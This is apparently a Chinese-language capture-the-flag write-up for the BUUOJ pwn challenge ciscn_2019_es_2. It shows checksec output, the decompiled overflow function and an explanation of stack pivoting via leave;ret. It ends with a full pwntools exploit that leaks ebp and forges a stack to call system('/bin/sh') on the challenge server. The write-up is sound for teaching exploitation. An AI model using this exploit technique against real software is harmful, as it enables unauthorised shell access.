checksec
一下,发现只有NX防护。
1 2 3 4 5 6 [*] '/home/bronya/Documents/CTF/pwn11/ciscn_2019_es_2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
使用ida打开,发现s存在溢出漏洞,但是只能溢出8字节,无法调用write等函数进行RetLibc。因此考虑栈迁移。
1 2 3 4 5 6 7 8 9 10 int vul () { char s[40 ]; memset (s, 0 , 0x20 u); read(0 , s, 0x30 u); printf ("Hello, %s\n" , s); read(0 , s, 0x30 u); return printf ("Hello, %s\n" , s); }
栈迁移指在rbp指向的地址写入要篡改的地址,rbp+4写入leave_ret地址,这样在函数正常结束即将返回时,rsp指向rbp,rbp指向rbp指向的内容地址,rsp+4到leave_ret,使eip指向了leave_ret,因此导致程序又执行了leave_ret,再次将rsp移动到rbp,rsp+4,使eip指向了篡改地址+4的地址。
因此只需要向程序变量s写入要执行的指令,再栈迁移使eip指向s即可。
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch='i386' , os='linux' , log_level="debug" ) p = remote('node4.buuoj.cn' , 27006 ) leave_ret = 0x08048562 system_addr = 0x08048400 payload = flat(b'a' *0x20 +b'b' *8 ) p.sendafter(b'Welcome, my friend. What\'s your name?\n' ,payload) p.recvuntil(b'bbbbbbbb' ) ebp_addr = u32(p.recv(4 )) info(hex (ebp_addr)) payload2 = flat(b'aaaa' , system_addr, 0 , ebp_addr-0x28 , b'/bin/sh' ).ljust(0x28 , b'\x00' ) payload2 += flat(ebp_addr-0x38 , leave_ret) p.sendlineafter(b'\n' , payload2) p.interactive()